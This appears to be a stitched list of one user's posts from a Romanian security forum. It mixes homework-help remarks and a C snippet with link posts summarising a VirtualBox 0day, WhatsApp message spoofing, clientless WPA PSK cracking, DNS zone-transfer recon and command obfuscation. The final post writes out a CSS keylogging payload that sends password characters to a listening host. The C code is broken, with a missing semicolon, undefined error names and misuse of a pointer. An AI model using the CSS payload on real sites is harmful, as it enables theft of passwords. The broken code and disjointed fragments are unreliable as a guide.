u0m3

This one is not coming back...

Cu placere! Si vezi ca e "M-ai ajutat foarte mult". Acum serios, eu pot sa iti dau si mura-n gura, dar nu vei invata nimic asa...

#define E_ASSIGNMENT_OK 0 #define E_ASSIGNMENT_INVALID_MATRIX_DIMENSIONS -1 #define E_ASSIGNMENT_INVALID_RESULT_POINTER -2 struct result_holder { float sum_0based_index; float sum_1based_index; unsigned int count_0based_index; unsigned int count_1based_index; }; int assignment(float const * const matrix, unsigned int const num_rows, unsigned int const num_cols, result_holder * const result) { unsigned int idx = 0 if(num_cols <= 0 || num_rows <= 0) return E_INVALID_MATRIX_DIMENSIONS; if(result_holder == NULL) return E_INVALID_RESULT_POINTER; result.sum_0based_index = 0; result.sum_1based_index = 0; result.count_0based_index = 0; result.count_1based_index = 0; for(unsigned int row = 0; row < num_rows; ++row) { for(unsigned int col = 0; col < num_cols; ++col) { idx = row * num_cols + col; if(col % 2 == 0 && matrix[idx] > 0) { result.sum_0based_index += matrix[idx]; ++result.count_0based_index; } else { result.sum_1based_index += matrix[idx]; ++result.count_1based_index; } } } return E_OK; }

Acesta este un forum, nu "ghiseul" unde plasezi comanda la McDonald's... Exprima si tu, in cuvinte, preferabil si cat de cat coerent, ce doresti. Acesta este un forum, nu fabrica de facut teme, nu e colegu' de clasa pe care il ameniti ca il bati daca nu iti face tema. Nu te astepta sa ne scrii enuntul problemei si noi sa ti-o rezolvam; arata si tu ca ti-ai dat un minim interes...

General Information Vulnerable software: VirtualBox 5.2.20 and prior versions. Host OS: any, the bug is in a shared code base. Guest OS: any. VM configuration: default (the only requirement is that a network card is Intel PRO/1000 MT Desktop (82540EM) and a mode is NAT). Link: https://github.com/MorteNoir1/virtualbox_e1000_0day (via: ircs://chat.freenode.net:6697/##gef)

Source: https://tls13.ulfheim.net/ Via: Oarecum conex:

https://www.math.auckland.ac.nz/~sgal018/crypto-book/crypto-book.html Direct link: https://www.math.auckland.ac.nz/~sgal018/crypto-book/main.pdf Via:

One can only hope...

Eu am cont pe eMag si (inca) nu am primit asa ceva... Ca atare votez pcgarage.ro

Eu inteleg ca sentimente si etc., dar...

Synopsis: CarHacking.Tools is a script I built to help people who are interested in exploring car hacking and research to get a quick start. I decided to invest the time into building this script after spending many hours finding, installing, configuring many of the tools available and very little of it actually "hacking" a car. Link: https://carhacking.tools/

Synopsis: As of early 2018, the Facebook-owned messaging application, WhatsApp, has over 1.5 billion users with over one billion groups and 65 billion messages sent every day. With so much chatter, the potential for online scams, rumours and fake news is huge. It doesn’t help then, if threat actors have an additional weapon in their arsenal to leverage the platform for their malicious intentions. Check Point Research, however, recently unveiled new vulnerabilities in the popular messaging application that could allow threat actors to intercept and manipulate messages sent in both private and group conversations, giving attackers immense power to create and spread misinformation from what appear to be trusted sources. Our team observed three possible methods of attack exploiting this vulnerability – all of which involve social engineering tactics to fool end-users. A threat actor can: Use the ‘quote’ feature in a group conversation to change the identity of the sender, even if that person is not a member of the group. Alter the text of someone else’s reply, essentially putting words in their mouth. Send a private message to another group participant that is disguised as a public message for all, so when the targeted individual responds, it’s visible to everyone in the conversation. Following the process of Responsible Disclosure, Check Point Research informed WhatsApp of their findings. From Check Point Research’s view, we believe these vulnerabilities to be of the utmost importance and require attention. Link: https://research.checkpoint.com/fakesapp-a-vulnerability-in-whatsapp/

Synopsis: In this writeup, I'll describe a new technique to crack WPA PSK (Pre-Shared Key) passwords. In order to make use of this new attack you need the following tools: hcxdumptool v4.2.0 or higher hcxtools v4.2.0 or higher hashcat v4.2.0 or higher This attack was discovered accidentally while looking for new ways to attack the new WPA3 security standard. WPA3 will be much harder to attack because of its modern key establishment protocol called "Simultaneous Authentication of Equals" (SAE). The main difference from existing attacks is that in this attack, capture of a full EAPOL 4-way handshake is not required. The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame. At this time, we do not know for which vendors or for how many routers this technique will work, but we think it will work against all 802.11i/p/q/r networks with roaming functions enabled (most modern routers). The main advantages of this attack are as follow: No more regular users required - because the attacker directly communicates with the AP (aka "client-less" attack) No more waiting for a complete 4-way handshake between the regular user and the AP No more eventual retransmissions of EAPOL frames (which can lead to uncrackable results) No more eventual invalid passwords sent by the regular user No more lost EAPOL frames when the regular user or the AP is too far away from the attacker No more fixing of nonce and replaycounter values required (resulting in slightly higher speeds) No more special output format (pcap, hccapx, etc.) - final data will appear as regular hex encoded string Source: https://hashcat.net/forum/thread-7717.html

Website: https://buckets.grayhatwarfare.com/ Via:

Synopsis: Process Dump is a Windows reverse-engineering command-line tool to dump malware memory components back to disk for analysis. Often malware files are packed and obfuscated before they are executed in order to avoid AV scanners, however when these files are executed they will often unpack or inject a clean version of the malware code in memory. A common task for malware researchers when analyzing malware is to dump this unpacked code back from memory to disk for scanning with AV products or for analysis with static analysis tools such as IDA. Source: http://split-code.com/processdump.html (side-note: unul dintre cele mai interesante website-uri din punc de vedere al design-ului) GitHub Repository: https://github.com/glmcdona/Process-Dump Via:

Synopsis: The recent DDoS drama with Dyn has had me reading up on Domain Name Systems (DNS). Time and time again, bad guys have proved that one of the best ways to execute a successful Distributed Denial of Service (DDoS) is to hit DNS servers. As a pentester, name servers do come up a lot during assessments, especially during the reconnaissance phases. We still come across a few public name servers allowing zone transfers every now and then, which is always a treat, but I hardly ever look at DNS servers as an actual target. I still haven’t come across a client that’s actually willing to pay anyone to bring their services down. The DDoS against Dyn was particularly troublesome because Dyn is a major DNS provider and the attacks caused serious outages to a number of popular sites; Twitter, Paypal, Reddit, Github, Spotify and more. Which got me thinking; if I was a bad guy doing my recon, looking for the best name servers to hit, how would I go about it? Which name servers would I pick? Querying a domain for the name server(s) it uses is pretty straight forward, but if the name server was my target and a denial of service was my goal, I’d want to find out the opposite; how many domain names are using the target name server? Source: https://thevivi.net/2016/11/17/dnsnitch-reverse-ns-lookups-zone-transfers/ GitHub Repository: https://github.com/V1V1/DNSnitch Bonus: axfr.py - https://github.com/V1V1/axfr.py (script that takes a list of domains as input and attempts zone transfers on all of them against a specified name server)

Synopsis: RedHunt aims to be a one stop shop for all your threat emulation and threat huning needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment. GitHub Repository: https://github.com/redhuntlabs/RedHunt-OS

Synopsis: As an emerging concept, the industry has yet to settle on a definitive definition of adversarial simulation, but it involves simulating [components of] targeted attacks in order to test both an organization’s instrumentation stacks and their ability to respond to the attack via their incident response process. This differs from Red Teaming in that adversarial simulation is typically a cooperative activity between the simulation runners and the simulation recipients with an end goal of validating defensive telemetry and testing incident response plans and playbooks. Raphael Mudge wrote a great blog post on the subject, which I recommend. Source: https://medium.com/uber-security-privacy/uber-security-metta-open-source-a8a49613b4a GitHub Repository: https://github.com/uber-common/metta

Synopsis: Skilled attackers continually seek out new attack vectors, while employing evasion techniques to maintain the effectiveness of old vectors, in an ever-changing defensive landscape. Many of these threat actors employ obfuscation frameworks for common scripting languages such as JavaScript and PowerShell to thwart signature-based detections of common offensive tradecraft written in these languages. However, as defenders' visibility into these popular scripting languages increases through better logging and defensive tooling, some stealthy attackers have shifted their tradecraft to languages that do not support this additional visibility. At a minimum, determined attackers are adding dashes of simple obfuscation to previously detected payloads and commands to break rigid detection rules. Whitepaper: https://www.fireeye.com/blog/threat-research/2018/03/dosfuscation-exploring-obfuscation-and-detection-techniques.html GitHub Repository: https://github.com/danielbohannon/Invoke-DOSfuscation Source:

Asta e troll, nu? Adica sper did tot sufletul ca e troll. Exista atatea sabloane de CV. Nu poti sa trimiti asa ceva cu intentii serioase, nu?

Synopsis: A Scary Thought: I’ve worked in the Cyber Security space performing a wide breadth of penetration and red team services for years. Yes it’s still as easy (if not more so in this day and age!) to obtain Domain Admin “before lunch” as it was when I first started pen-testing. Back in September of 2013, Spider Labs wrote an article titled “Top Five Ways SpiderLabs Got Domain Admin on Your Internal Network” This article is written to compliment and serve as a Part 2 of sorts to the original SpiderLabs Blog post. Link: https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa Via:

Sincer, nu prea cred ca multumea cineva cuiva... Vezi ca le dai idei. In alta ordine de idei, cine a preluat (sau a scris/transcris) citatul de pe Maszol.ru (care e de fapt maszol.ro) a dat-o de gard grav, cu traducerea Zici ca e telefonul fara fir. Ce scrie pe http://securityaffairs.co/wordpress/70046/cyber-crime/raiffeisen-cyber-heist.html: Ce scrie pe http://www.maszol.ro/index.php/szajtato/93368-az-evszazad-rablasa-kifosztottak-egy-nagy-bank-romaniai-automatait: Ce ar trebui sa scrie: Sa nu mai aducem in discutie traducerea din Maghiara (presupun) in Engleza.

Pacat ca pare a fi rezervata studentilor din Belgia.

Python script to decode common encoded PowerShell scripts. Source: https://github.com/JohnLaTwC/PyPowerShellXray

Ideea de baza este folosirea selectorilor CSS pe baza de valori pentru a face request-uri fictive de background-image, cam asa input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } Sursa: https://github.com/maxchehab/CSS-Keylogging